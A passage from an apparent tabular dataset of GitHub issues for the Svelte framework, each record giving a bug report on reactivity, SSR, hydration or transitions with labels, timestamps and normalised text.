	import Component from './Component.svelte'
	const pkg = {
		name: 'svelte',
		version: 5,
		description: 'blazing fast',
		website: 'https://svelte.dev'
	};
</script>

<Component {...pkg}/>
```
3. Accessing the individually declared property on the rest prop:
<p>
	<!-- Returns true -->
	<code>name === stuff.name</code>: {name === stuff.name}
</p>
<p>
	<!-- Returns false -->
	<code>'name' in stuff</code>: {'name' in stuff}
</p>

https://svelte.dev/playground/a601dd33221b45d284c14012951818bb

... [TRUNCATED]",,2025-10-05 10:17:12+00:00,2025-10-07 14:21:44+00:00,0,nan,2.1698,separately declared property can be accessed in rest property but doesn t show up when inspecting describe the bug the bug refers to this context the intuitive behavior after is to not be able to access as expected looking at the keys of the object doesn t show up this has been discussed in this discord thread another person described that looking at the output both and are compiled to reproduction a component that accepts props and destructures them in at least one variable and a rest property passing an object to the component where it is used accessing the individually declared property on the rest prop name stuff name name stuff name name in stuff name in stuff truncated,others,-0.8817
sveltejs/svelte,3482808126,Incorrect server code generation for derived via alternative `this` reference,"### Describe the bug

When referring to a derived property through an alternative reference to `this`, the server side code generation will fail to call the derived function when attempting to access the derived value.

### Reproduction

Reproduction in playground: https://svelte.dev/playground/8e9e3d06e5a54c599c6480121bd77231?version=5.39.8

Same code as linked but explained: If we have the following class that has a derived property which we access via both `this` and an alternative reference, `self`

```typescript
class Foo {
	#derived = $derived(1);
	
	constructor(value) {
		self = this;

		// Correctly calls #derived()
		console.log(this.#derived)

		// Incorrect, does not call #derived
		console.log(self.#derived)
	}
}
```

Then the server generated code will look like this

```typescript
class Foo {
	#derived = $.derived(() => 1);

	constructor(value) {
		self = this;

		// Correctly calls #derived()
		console.log(this.#derived());

		// Incorrect, does not call #derived
		console.log(self.#derived);
	}
}
```

The error is that the line `console.log(self.#derived);` should instead be `console.log(self.#derived());`.

This also applies to `$derived.by`

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.15 Arch Linux
    CPU: (12) x64 AMD Ryzen 5 2600 Six-Core Processor
    Memory: 7.08 GB / 15.54 GB
    Container: Yes
    Shell: 5.3.3 - /bin/bash
  Binaries:
    Node: 22.17.0 - ~/.nvm/versions/node/v22.17.0/bin/node
    Yarn: 1.22.22 - /usr/bin/... [TRUNCATED]",ssr,2025-10-03 23:05:27+00:00,2025-10-07 14:29:35+00:00,0,ssr,3.6418,incorrect server code generation for derived via alternative reference describe the bug when referring to a derived property through an alternative reference to the server side code generation will fail to call the derived function when attempting to access the derived value reproduction reproduction in playground same code as linked but explained if we have the following class that has a derived property which we access via both and an alternative reference then the server generated code will look like this the error is that the line should instead be this also applies to logs system info shell system os linux arch linux cpu x amd ryzen six core processor memory gb gb container yes shell bin bash binaries node nvm versions node v bin node yarn usr bin truncated,others,0.128
sveltejs/svelte,3498889407,Pending boundary inside async component never mounts result,"### Describe the bug

An example as simple as this is broken in SvelteKit:
```svelte
<script>
  await Promise.resolve();
</script>

<svelte:boundary>
  <div>Loaded</div>
  {#snippet pending()}
    Loading
  {/snippet}
</svelte:boundary>
```

The ""Loaded"" text never appears.

### Reproduction

[reproduction](https://stackblitz.com/edit/sveltejs-kit-template-default-vhdwzrwv?file=src%2Froutes%2F%2Bpage.svelte)

[works on sandbox](https://svelte.dev/playground/hello-world?version=5.39.8#H4sIAAAAAAAAA22NsWrDQBBEf0VsGgmE1Z8PQ7oUKdJHKc7etVk47x23aylG6N_NKQkpkm54vJlZQMKVwMELxZiaOZWITUvIRthBD2eOpODeF7B7rl4F0P-0nnPe6UTRKjsGpf_4KYmRmIIDr6fC2Q6jjBbmwNa8lXRlpV0hTXGittuP4odfTfzXjjumm2Ao963rkafDawpI6IeaK1yeVDhnsiaTIMul7dbKR6smy2WThm9p3X7-bEMPRp8GzsqN1o8eLHCcWRDcOUSl9QGtZruyMgEAAA)

### Logs

```Shell

```

### System Info

```Shell
System:
    OS: Linux 6.13 Fedora Linux 43 (Forty Three Prerelease)
    CPU: (24) x64 AMD Ryzen 9 7900 12-Core Processor
    Memory: 16.89 GB / 30.48 GB
    Container: Yes
    Shell: 4.0.2 - /bin/fish
  Binaries:
    Node: 22.19.0 - ~/.local/share/pnpm/node
    npm: 10.9.3 - ~/.local/share/pnpm/npm
    pnpm: 10.18.0 - ~/.local/share/pnpm/pnpm
    bun: 1.2.20 - ~/.bun/bin/bun
  Browsers:
    Chrome: 141.0.7390.54
  npmPackages:
    @sveltejs/adapter-cloudflare: catalog: => 7.2.4 
    @sveltejs/kit: catalog: => 2.43.8 
    @sveltejs/vite-plugin-svelte: catalog: => 6.2.1 
    svelte: catalog: => 5.39.8 
    vite: catalog: => 7.1.9
```

### Severity

blocking an upgr... [TRUNCATED]",,2025-10-03 22:07:28+00:00,2025-11-02 21:11:40+00:00,2,nan,29.9612,pending boundary inside async component never mounts result describe the bug an example as simple as this is broken in sveltekit the loaded text never appears reproduction reproduction works on sandbox logs system info severity blocking an upgr truncated,others,-0.8271
sveltejs/svelte,3482224542,Override derived array using push is not reactive,"### Describe the bug

Pushing to a derived array is not reactive:

```svelte
<script>
	let derived = $derived([""initial""]);
</script>

<p>{derived}</p>
<button onclick={
	() => derived.push(""more"") // Not reactive
}>push</button>

<button onclick={
	() => derived = [...derived, ""spread""] // Reactive
}>spread</button>

```

### Reproduction

https://svelte.dev/playground/1f9c9d543286412695fe03bdfe0ab73b?version=5.39.8

### Logs

```shell

```

### System Info

```shell
The latest Playground
```

### Severity

annoyance",,2025-10-03 19:00:35+00:00,2025-10-03 19:09:02+00:00,3,nan,0.0059,override derived array using push is not reactive describe the bug pushing to a derived array is not reactive reproduction logs system info severity annoyance,others,-0.6486
sveltejs/svelte,3481705626,`hydration_mismatch` when `pending` snippet is passed as prop to `<svelte:boundary>`,"### Describe the bug

`hydration_mismatch` error shows up when passing the `pending` snippet as a prop to `<svelte:boundary>` instead of as a child.

I.e. this works

```svelte
<svelte:boundary>
  {@const _ = await new Promise((r) => setTimeout(r, 2000))}
  <p>Content has now loaded</p>

  {#snippet pending()}
    loading...
  {/snippet}
</svelte:boundary>
```

While this _does not_

```svelte
{#snippet pending()}
  loading...
{/snippet}

<svelte:boundary {pending}>
  {@const _ = await new Promise((r) => setTimeout(r, 2000))}
  <p>Content has now loaded</p>
</svelte:boundary>
```

Furthermore. The latter briefly shows `undefined` right after the pending snippet, which quickly disappears again.

### Reproduction

https://stackblitz.com/github/tinggaard/boundary-pending-prop

### Logs

```Shell
[svelte] hydration_mismatch
```

### System Info

```Shell
System:
    OS: Linux 6.16 Arch Linux
    CPU: (16) x64 AMD Ryzen 7 8845HS w/ Radeon 780M Graphics
    Memory: 14.68 GB / 27.15 GB
    Container: Yes
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.8.0 - /usr/bin/node
    npm: 11.6.1 - /usr/bin/npm
    pnpm: 10.17.1 - /usr/bin/pnpm
  Browsers:
    Brave Browser: 139.1.81.137
    Chromium: 140.0.7339.207
  npmPackages:
    @sveltejs/adapter-auto: ^6.1.1 => 6.1.1
    @sveltejs/kit: 2.43.8 => 2.43.8
    @sveltejs/vite-plugin-svelte: ^6.2.1 => 6.2.1
    svelte: ^5.39.8 => 5.39.8
    vite: ^7.1.9 => 7.1.9
```

### Severity

annoyance

### Additional Information

_No response_",,2025-10-03 15:04:05+00:00,2025-10-16 15:02:57+00:00,9,nan,12.9992,when snippet is passed as prop to describe the bug error shows up when passing the snippet as a prop to instead of as a child i e this works while this does not furthermore the latter briefly shows right after the pending snippet which quickly disappears again reproduction logs system info severity annoyance additional information no response,others,-0.8979
sveltejs/svelte,3480136931,Cannot dynamically import and await a Svelte component in SSR,"### Describe the bug

```svelte
{#if true}
  {@const Component = (await import('./Hello.svelte')).default}
  <Component></Component>
{/if}
```

```
Parse failure: await isn't allowed in non-async function
At file: /src/routes/(examples)/svelte-kit-dynamic-import/+page.svelte:74:23

/src/routes/(examples)/svelte-kit-dynamic-import/+page.svelte:74:23

72 |  				$$renderer.push('<!--\[-->');
73 |  
74 |  				const Component = (await $.save(import(""/src/routes/(examples)/svelte-kit-dynamic-import/Component.svelte"")))().d...
   |                         ^
75 |  
76 |  				$$renderer.push(\`<!---->\`);
```

### Reproduction

https://svelte.dev/playground/31f1a4b7d7c1482ea0a9d1ccd8cd2382?version=5.39.8

```js
export default function App($$renderer, $$props) {
  $$renderer.component(($$renderer) => {
    if (true) {
      $$renderer.push('<!--[-->');

      const Component = (await $.save(import('./Hello.svelte')))().default;
```


### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2025-10-03 07:43:01+00:00,2025-10-07 14:27:32+00:00,3,nan,4.2809,cannot dynamically import and await a svelte component in ssr describe the bug reproduction logs system info severity annoyance,others,-0.7193
sveltejs/svelte,3472698802,State in `onblur` handler is undefined after navigation,"### Describe the bug

Relevant issues:

- https://github.com/sveltejs/svelte/issues/14911
- https://github.com/sveltejs/svelte/issues/13684

Relevant fixes:
- https://github.com/sveltejs/svelte/pull/13737
- https://github.com/sveltejs/svelte/pull/13694

I'm not really sure what the correct ""mental model"" is of this behaviour - but my two cents is that it feels wrong. It's really difficult to spot, as there's no typing that tells me that this can happen. The type-definition of `let { data } = $props()` is: 

```ts
let data: {
    state: {
        message: string;
    };
}
```

How can one know that state can be undefined from this.

### Reproduction

Github repro: https://github.com/MathiasWP/sveltekit-input-onblur-async-state-bug

Video:
https://github.com/user-attachments/assets/278db046-f4ec-4463-8b1c-c0158dbb23f3


### Logs

```shell
+page.svelte?t=1759308998689:23 Uncaught TypeError: Cannot set properties of undefined (setting 'message')
    at HTMLInputElement.<anonymous> (+page.svelte?t=1759308998689:23:93)
    at events.js:61:21
    at without_reactive_context (shared.js:44:10)
    at HTMLInputElement.target_handler (events.js:60:11)
    at remove_effect_dom (effects.js:524:8)
    at destroy_effect (effects.js:471:3)
    at destroy_effect_children (effects.js:435:4)
    at destroy_effect (effects.js:475:2)
    at destroy_effect_children (effects.js:435:4)
    at destroy_effect (effects.js:475:2)
```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (8) a... [TRUNCATED]",,2025-10-01 09:10:19+00:00,2025-10-01 15:46:06+00:00,2,nan,0.2748,state in handler is undefined after navigation describe the bug relevant issues relevant fixes i m not really sure what the correct mental model is of this behaviour but my two cents is that it feels wrong it s really difficult to spot as there s no typing that tells me that this can happen the type definition of is how can one know that state can be undefined from this reproduction github repro video logs system info shell system os macos cpu a truncated,others,-0.9221
sveltejs/svelte,3467327760,Can't use `bind:checked` on radio input,"### Describe the bug

<img width=""1453"" height=""550"" alt=""Image"" src=""https://github.com/user-attachments/assets/79437cc4-bade-41b9-8287-6200115462ba"" />

I should be able to use `bind:checked` on radio inputs but I can't.

### Reproduction

https://svelte.dev/playground/2517d8b9c0b94cf1bf850f2f96b71dc9?version=5.39.6

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.7.1
    CPU: (10) arm64 Apple M1 Pro
    Memory: 113.45 MB / 16.00 GB
    Shell: 4.0.2 - /opt/homebrew/bin/fish
  Binaries:
    Node: 24.4.0 - ~/Library/pnpm/node
    Yarn: 1.22.19 - ~/Library/pnpm/yarn
    npm: 11.4.2 - ~/Library/pnpm/npm
    pnpm: 10.10.0 - ~/Library/pnpm/pnpm
    Deno: 2.3.1 - /opt/homebrew/bin/deno
  Browsers:
    Chrome: 140.0.7339.208
    Chrome Canary: 142.0.7441.0
    Safari: 26.0.1
  npmPackages:
    svelte: ^5.39.6 => 5.39.6
```

### Severity

blocking all usage of svelte",documentation,2025-09-30 02:57:13+00:00,2025-10-01 15:56:33+00:00,3,documentation,1.5412,can t use on radio input describe the bug i should be able to use on radio inputs but i can t reproduction logs system info severity blocking all usage of svelte,documentation,-0.6597
sveltejs/svelte,3466997165,Incorrect aria-label warning for buttons with a title attribute,"### Describe the bug

**Expected behavior**

The `a11y_consider_explicit_label` warning should not show for a button that has an accessible name.

**Actual behavior**

When a button has a `title` attribute the `a11y_consider_explicit_label` compiler warning is emitted, even though in this case the title attribute value will be used as the button's accessible name.


### Reproduction


```html
<button type=""button"" title=""Example button"">
  <svg width=""40"" height=""40""><!-- whatever --></svg>
</button>
```

In the above example, the button **does** have an accessible name, so the warning is incorrect:

<img width=""678"" height=""232"" alt=""Image"" src=""https://github.com/user-attachments/assets/8f10905e-607e-4ba8-b6e2-5ff0bfe0eb33"" />

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (12) arm64 Apple M3 Pro
    Memory: 150.44 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.19.0 - ~/.nvm/versions/node/v22.19.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v20.19.0/bin/yarn
    npm: 10.9.3 - ~/.nvm/versions/node/v22.19.0/bin/npm
    pnpm: 10.15.1 - ~/.nvm/versions/node/v20.19.0/bin/pnpm
  Browsers:
    Brave Browser: 139.1.81.131
    Chrome: 140.0.7339.210
    Safari: 18.6
  npmPackages:
    svelte: ^5.38.8 => 5.38.8
```

### Severity

annoyance","good first issue,a11y",2025-09-29 23:36:44+00:00,2025-09-30 15:54:15+00:00,5,"good first issue,a11y",0.6788,incorrect aria label warning for buttons with a title attribute describe the bug the warning should not show for a button that has an accessible name when a button has a attribute the compiler warning is emitted even though in this case the title attribute value will be used as the button s accessible name reproduction in the above example the button does have an accessible name so the warning is incorrect logs system info severity annoyance,bug,-0.8885
sveltejs/svelte,3460685197,`$effect` doesn't trigger for awaited props on first mount,"### Describe the bug

Given there's two components

`app.svelte`:
  ```svelte
<script>
	import MyComponent from ""./my-component.svelte"";

	let a = $state(1);
	let b = $state(2);

	async function add(a, b) {
		await new Promise((f) => setTimeout(f, 500)); // artificial delay
		return a + b;
	}
</script>

<input type=""number"" bind:value={a}>
<input type=""number"" bind:value={b}>

<MyComponent data={await add(a, b)} />
```
`my-component.svelte`:
```svelte
<script>
	let { data } = $props()

	console.log(""component data"", data);

	$effect(() => {
		console.log(""effect data"", data)
	});
</script>

{JSON.stringify(data)}
```

On first mount, only ""component data"" gets logged, the effect doesn't get triggered until one of its dependents (`a` or `b`) changes, which is odd because the template effect (for the `JSON.stringify(data)` call) doesn't have this problem


### Reproduction

Look in the [PLAYGROUND](https://svelte.dev/playground/hello-world?version=5.39.6#H4sIAAAAAAAAE42RQWvcMBCF_8ow5CBTs04LvXjXC6WXkENbaG9VD7I9CgJ5ZKRxtovxfy-2d7O4JJCT4OnNY-Z9I7LpCEt8IO8DnEL0LShqnVCbYY7WeUpY_h5Rzv3smwXMr1Nf-n6XnsnLrNUm0Wt6E1iIJWGJh9RE18tRsxbX9SEKfA1dH5hYwMbQgcZd8SJdMjTuNc8jngQMVHCXxAipj9n-qtY39VN2cZt05gbswI24wGDaVpkc6gzG-VeLORknwHSCHzF0LpFSNoPqCInkl-soDKJsDp_v77NsD0UBJoqzrnHGQ0venNeYSDJEBgMfoF72mTQfituhfHDcDwJzgZVGHrqaokaoHbfls_EDVaOZju_y1dOaeCutNWKqcT3l5cIJiqNmzFHor2ApcaApfwPh_2VvQb7y-wbOmcK4rAPTDKOPoU8qW1E0gVPwtPPhSWlsNttrzJf3iu2OrKVGlFpYXFhtA1bHdnppfs7YdD8-_vz-bZckOn5y9qwW67Rt5k-OYpw_OW6xtMYnm... [TRUNCATED]",,2025-09-27 20:21:03+00:00,2025-09-28 12:38:03+00:00,0,nan,0.6785,doesn t trigger for awaited props on first mount describe the bug given there s two components on first mount only component data gets logged the effect doesn t get triggered until one of its dependents or changes which is odd because the template effect for the call doesn t have this problem reproduction look in the playground truncated,others,-0.8188
sveltejs/svelte,3460075366,Parse failure: await isn't allowed in non-async function when using await with const inside Component,"### Describe the bug

Similar to #16811 

```svelte
// CustomBoundary.svelte
<script lang=""ts"">
	import type { Snippet } from 'svelte';

	type Props = {
		children?: Snippet;
	};

	let { children }: Props = $props();
</script>

<svelte:boundary>
	{@render children?.()}

	{#snippet pending()}
		loading...
	{/snippet}

	{#snippet failed(error, reset)}
		failed
	{/snippet}
</svelte:boundary>
```
```svelte
// +page.svelte
<script>
import CoustomBoundary from '../lib/CustomBoundary.svelte';
async function getOne() {
        return 1;
}
</script>

<CoustomBoundary>	
	{@const one = await getOne()}
	{one}
</CoustomBoundary>
```

### Reproduction

https://www.sveltelab.dev/772akdg6216p97s

### Logs

```shell
[vite] (ssr) Error when evaluating SSR module /src/routes/+page.svelte: Parse failure: await isn't allowed in non-async function
At file: /src/routes/+page.svelte:17:18
  File: /src/routes/+page.svelte:17:18
  15 |                          CoustomBoundary($$renderer, {
  16 |                                  children: $.prevent_snippet_stringification(($$renderer) => {
  17 |                                          const one = (await $.save(getOne()))();
     |                    ^
  18 |  
  19 |                                          $$renderer.push(`<!---->${$.escape(one)}`);
```

### System Info

```shell
N/A
```

### Severity

blocking an upgrade",,2025-09-27 10:01:08+00:00,2025-09-29 15:06:24+00:00,0,nan,2.212,parse failure await isn t allowed in non async function when using await with const inside component describe the bug similar to reproduction logs system info severity blocking an upgrade,others,-0.7964
sveltejs/svelte,3460045141,Parse failure: await isn't allowed in non-async function when using await with @const inside svelte:boundary,"### Describe the bug

Similar to #16811 

```svelte
<script>
  async function getOne() {
    return 1;
  }
</script>

<svelte:boundary>
	{@const one = await getOne()}
</svelte:boundary>
```

However, with pending snippet, it works.
```svelte
<script>
  async function getOne() {
    return 1;
  }
</script>

<svelte:boundary>
	{@const one = await getOne()}
        {#snippet pending()}
		<p>loading...</p>
	{/snippet}
</svelte:boundary>
```


### Reproduction

https://www.sveltelab.dev/bz2hl12ptw022ry

### Logs

```shell
[vite] (ssr) Error when evaluating SSR module /src/routes/+page.svelte: Parse failure: await isn't allowed in non-async function
At file: /src/routes/+page.svelte:17:17
  File: /src/routes/+page.svelte:17:17
  15 |  
  16 |                          {
  17 |                                  const one = (await $.save(getOne()))();
     |                   ^
  18 |                          }
  19 |
```

### System Info

```shell
N/A
```

### Severity

blocking an upgrade",,2025-09-27 09:31:58+00:00,2025-10-01 10:26:15+00:00,0,nan,4.0377,parse failure await isn t allowed in non async function when using await with const inside svelte boundary describe the bug similar to however with pending snippet it works reproduction logs system info severity blocking an upgrade,others,-0.7964
sveltejs/svelte,3459400689,Simultaneously `isRemoteRequest: false` and `route.id: null` in remote function during SSR,"### Describe the bug

When you call a remote function during SSR, the `event.isRemoteRequest` is false, but the `route.id` is still null.

Probably either `event.isRemoteRequest` should be `true` if it's not part of the same request, or `route.id` should match the `route.id` from the hook if it _is_ still the same request.

### Reproduction

You'll notice in the console that the hook shows a `route.id` of `/(home)` and the remote function shows a `route.id` of null. However, both show `isRemoteRequest` is false.

https://stackblitz.com/edit/sveltejs-kit-template-default-k6fjdwc3?file=src%2Fhooks.server.ts,src%2Froutes%2F(test)%2Ftest.remote.js

### Logs

```shell
hook:isRemoteRequest false
hook:route.id /(test)
hook:url.pathname /

remote:isRemoteRequest false <-- this doesn't make sense
remote:route.id null
remote:url.pathname /

If the URL was `/test`, you'd see:

hook:isRemoteRequest false
hook:route.id /(test)/test
hook:url.pathname /test

remote:isRemoteRequest false <-- this doesn't make sense
remote:route.id null
remote:url.pathname /
```

### System Info

```shell
System:
    OS: macOS 26.0
    CPU: (16) arm64 Apple M4 Max
    Memory: 944.73 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.12.0 - ~/.nvm/versions/node/v22.12.0/bin/node
    npm: 10.9.0 - ~/.nvm/versions/node/v22.12.0/bin/npm
    pnpm: 10.11.0 - ~/.nvm/versions/node/v22.12.0/bin/pnpm
    bun: 1.2.20 - ~/.bun/bin/bun
  Browsers:
    Safari: 26.0
  npmPackages:
    svelte: ^5.39.6 => 5.39.6... [TRUNCATED]",,2025-09-26 23:51:24+00:00,2025-09-27 00:35:03+00:00,1,nan,0.0303,simultaneously and in remote function during ssr describe the bug when you call a remote function during ssr the is false but the is still null probably either should be if it s not part of the same request or should match the from the hook if it is still the same request reproduction you ll notice in the console that the hook shows a of and the remote function shows a of null however both show is false logs system info shell system os macos cpu arm apple m max memory mb gb shell bin zsh binaries node nvm versions node v bin node npm nvm versions node v bin npm pnpm nvm versions node v bin pnpm bun bun bin bun browsers safari npmpackages svelte truncated,feature,-0.25
sveltejs/svelte,3457376282,Guard check on variable doesn't work as expected,"### Describe the bug

I'm experiencing a very strange bug where a variable check for `undefined` is seemingly ignored. This causes lots of issues down the line.

<img width=""533"" height=""35"" alt=""Image"" src=""https://github.com/user-attachments/assets/68f0bb5d-a1f3-4602-84d5-cc1ad3815cb5"" />

<img width=""171"" height=""30"" alt=""Image"" src=""https://github.com/user-attachments/assets/054ee0f8-9606-4350-9aeb-4c3a9003b527"" />
(the first if doesn't need to be this long but wanted to make sure)
<img width=""1115"" height=""109"" alt=""Image"" src=""https://github.com/user-attachments/assets/3f73fb3f-9e5c-4794-a5b7-8cb13fcf3930"" />

This issue seems to be introduced in version `5.38.2` since it works without issues in version `5.38.1`. Its still happening in the most recent version.

### Reproduction

Unfortunately after lots of trying I'm not able to reproduce this issue in a simpler form yet.

### Logs

```shell
Chrome:

error-handling.js:68 Uncaught TypeError: Cannot read properties of undefined (reading 'depth')

Firefox:

Uncaught TypeError: can't access property ""depth"", $.get(...) is undefined
```

### System Info

```shell
System:
    OS: Windows 11 10.0.22631
    CPU: (28) x64 13th Gen Intel(R) Core(TM) i7-13850HX
    Memory: 33.43 GB / 63.61 GB
  Binaries:
    Node: 22.13.1 - C:\nvm4w\nodejs\node.EXE
    npm: 10.9.2 - C:\nvm4w\nodejs\npm.CMD
  Browsers:
    Edge: Chromium (140.0.3485.54)
    Internet Explorer: 11.0.22621.3527

Tested on:
* Google Chrome Version 140.0.7339.186 (Offic... [TRUNCATED]",,2025-09-26 12:24:08+00:00,2025-10-21 08:07:53+00:00,3,nan,24.822,guard check on variable doesn t work as expected describe the bug i m experiencing a very strange bug where a variable check for is seemingly ignored this causes lots of issues down the line the first if doesn t need to be this long but wanted to make sure this issue seems to be introduced in version since it works without issues in version its still happening in the most recent version reproduction unfortunately after lots of trying i m not able to reproduce this issue in a simpler form yet logs system info shell system os windows cpu x th gen intel r core tm i hx memory gb gb binaries node c nvm w nodejs node exe npm c nvm w nodejs npm cmd browsers edge chromium internet explorer tested on google chrome version offic truncated,others,-0.6538
sveltejs/svelte,3454688011,suggestion: Allow for configuration of the maximum number of queued effects before infinite_loop_guard() is called.,"I ran into an issue with a mapping project where a large number of components (thousands) are affected by an effect (infrequently). 

It would be great to be able to increase the number of queued effects before the infinite loop guard comes in to effect (pun intended):

Currently:

```
if (flush_count++ > 1000) {
	// other code

	infinite_loop_guard();
}
```


https://github.com/sveltejs/svelte/blob/f0cede678200a3da2fbed6e84245dbef9ec0ecec/packages/svelte/src/internal/client/reactivity/batch.js#L519",,2025-09-25 18:32:00+00:00,2026-03-16 15:05:18+00:00,4,nan,171.8565,suggestion allow for configuration of the maximum number of queued effects before infinite loop guard is called i ran into an issue with a mapping project where a large number of components thousands are affected by an effect infrequently it would be great to be able to increase the number of queued effects before the infinite loop guard comes in to effect pun intended currently,others,0.8225
sveltejs/svelte,3454188392,Global transition bug since 5.36.0,"### Describe the bug

There is a bug with transitions after 5.36.0 where having global transitions inside another transitioning element would not actually transition out the child elements and keep the main element in an ""inert"" state but keep the element there. Usually it would do a transition out and then remove the element.

### Reproduction

Working version: https://svelte.dev/playground/35ef0c0cd4d34512adb64a7d52f9be33?version=5.35.7
Broken version: https://svelte.dev/playground/35ef0c0cd4d34512adb64a7d52f9be33?version=5.36.0

Click ""next"" on either of the lines and it should do a text animation cycling through lines. The broken version keeps the prior text instead of actually doing the transition. This might be a weird way of doing this kind of animation, but at the very least it shouldn't just stop doing transitions.

### Logs

```shell

```

### System Info

```shell
REPL
```

### Severity

annoyance",transition/animation,2025-09-25 15:42:06+00:00,2025-10-25 17:55:57+00:00,1,transition/animation,30.093,global transition bug since describe the bug there is a bug with transitions after where having global transitions inside another transitioning element would not actually transition out the child elements and keep the main element in an inert state but keep the element there usually it would do a transition out and then remove the element reproduction working version broken version click next on either of the lines and it should do a text animation cycling through lines the broken version keeps the prior text instead of actually doing the transition this might be a weird way of doing this kind of animation but at the very least it shouldn t just stop doing transitions logs system info severity annoyance,bug,-0.9643
sveltejs/svelte,3450124744,Array reactivity is not working correctly,"### Describe the bug

An array variable is not reactive when using the variable directly.
But the weird thing is, it does work with `$inspect`, but not with `$effect`.

### Reproduction

[Playground demo](https://svelte.dev/playground/ca088fc3e2d442d0b340f49e0c493156?version=5.39.5)

### System Info

```shell
Svelte 5.39.5, but every version in 5.x.x has this issue.
```

### Severity

annoyance",,2025-09-24 16:26:57+00:00,2025-09-24 17:21:15+00:00,7,nan,0.0377,array reactivity is not working correctly describe the bug an array variable is not reactive when using the variable directly but the weird thing is it does work with but not with reproduction playground demo system info severity annoyance,others,-0.7184
sveltejs/svelte,3447567252,Async effects/promises not immediately flushing,"### Describe the bug

I have run into a scenario where async code of any kind seems to not immediately be run/flushed. In other words `$effect.pending` will be stuck `> 0` and things like async `derived`s will not re-run even when the value they depend on changes. They will eventually be run if something else triggers a flush of pending promises.

I am not certain I have found the minimal reproduction, but after many hours I have narrowed it down to swapping out recursive dynamic components. 

### Reproduction

Reproduction: https://svelte.dev/playground/eee80b71655641e3b7e0eb5afcb93469?version=5.39.5

This reproduction shows a basic tree structure rendered by the Node component. The displayed Message component contains async work.

Click the ""Swap children"" button which will replace the existing Message with a pair of Messages nested one level deeper.

Observe that the `$effect.pending()` displayed is stuck `> 0`. Observe that the async derived that doubles the `input` number does not re-run after the initial calculation. 

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.15 Arch Linux
    CPU: (12) x64 AMD Ryzen 5 2600 Six-Core Processor
    Memory: 4.58 GB / 15.54 GB
    Container: Yes
    Shell: 5.3.3 - /bin/bash
  Binaries:
    Node: 18.16.0 - ~/.nvm/versions/node/v18.16.0/bin/node
    Yarn: 1.22.22 - /usr/bin/yarn
    npm: 9.5.1 - ~/.nvm/versions/node/v18.16.0/bin/npm
    pnpm: 10.13.1 - ~/.local/share/pnpm/pnpm
  Browsers:
    Chromium: 139.0.... [TRUNCATED]",,2025-09-24 04:17:40+00:00,2025-11-17 19:15:04+00:00,9,nan,54.6232,async effects promises not immediately flushing describe the bug i have run into a scenario where async code of any kind seems to not immediately be run flushed in other words will be stuck and things like async s will not re run even when the value they depend on changes they will eventually be run if something else triggers a flush of pending promises i am not certain i have found the but after many hours i have narrowed it down to swapping out recursive dynamic components reproduction reproduction this reproduction shows a basic tree structure rendered by the node component the displayed message component contains async work click the swap children button which will replace the existing message with a pair of messages nested one level deeper observe that the displayed is stuck observe that the async derived that doubles the number does not re run after the initial calculation logs system info shell system os linux arch linux cpu x amd ryzen six core processor memory gb gb container yes shell bin bash binaries node nvm versions node v bin node yarn usr bin yarn npm nvm versions node v bin npm pnpm local share pnpm pnpm browsers chromium truncated,others,0.901
sveltejs/svelte,3446889750,Local transitions playing on unmount since 5.38.3,"### Describe the bug

When a component has a transition inside an #if block, the out transition will play when the component is unmounted, delaying the component unmount, even if specified as local

From  @7nik on bluesky:

""Seems to be caused by [github.com/sveltejs/sve...](https://github.com/sveltejs/svelte/pull/16625) and the fact that the if condition is in fact static.""

### Reproduction

https://svelte.dev/playground/20daa9fc7f1740f89fb76099f14c51ae?version=latest

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (8) arm64 Apple M1 Pro
    Memory: 103.92 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.18.0 - ~/.nvm/versions/node/v22.18.0/bin/node
    npm: 10.9.3 - ~/.nvm/versions/node/v22.18.0/bin/npm
    pnpm: 10.14.0 - ~/.nvm/versions/node/v22.18.0/bin/pnpm
  Browsers:
    Chrome: 140.0.7339.207
    Safari: 18.6
  npmPackages:
    svelte: ^5.39.5 => 5.39.5
```

### Severity

blocking an upgrade",transition/animation,2025-09-23 22:54:33+00:00,2025-10-23 22:26:42+00:00,0,transition/animation,29.9807,local transitions playing on unmount since describe the bug when a component has a transition inside an if block the out transition will play when the component is unmounted delaying the component unmount even if specified as local from nik on bluesky seems to be caused by github com sveltejs sve and the fact that the if condition is in fact static reproduction logs system info severity blocking an upgrade,others,-0.6486
sveltejs/svelte,3444657457,`$props.id()` output format clashes with Server Side Include format,"### Describe the bug

When [SSIs](https://nginx.org/en/docs/http/ngx_http_ssi_module.html#commands) are turned on in Nginx the server tries to parse `<!--#text-->` -- which is the same [format output](https://github.com/search?q=repo%3Asveltejs/svelte%20%27%3C!--%23%27&type=code) during SSR when `$props.id()` is used. Nginx can't parse this and the default is to print `[an error occurred while processing the directive]` in the html (replacing Svelte's hydration comment `<!--#s1-->`)

Would it be possible to change the format of the `props_id()` renderer output? Maybe like `<!--$`? That seems safe in the [corresponding props_id hydration code too](https://github.com/sveltejs/svelte/blob/main/packages/svelte/src/internal/client/dom/template.js)?

The current workaround is to not use this feature and pass ids as a prop to each component instance, but it would be nice to be able to use `$props.id()`

(I assume this is also an issue with Apache, etc. as they have the same SSI format but I've only observed it with Nginx)

### Reproduction

https://github.com/brittharr/svelte-props-id

Static output here:
https://github.com/brittharr/svelte-props-id/blob/main/build/index.html#L20

### Logs

```shell

```

### System Info

```shell
All
```

### Severity

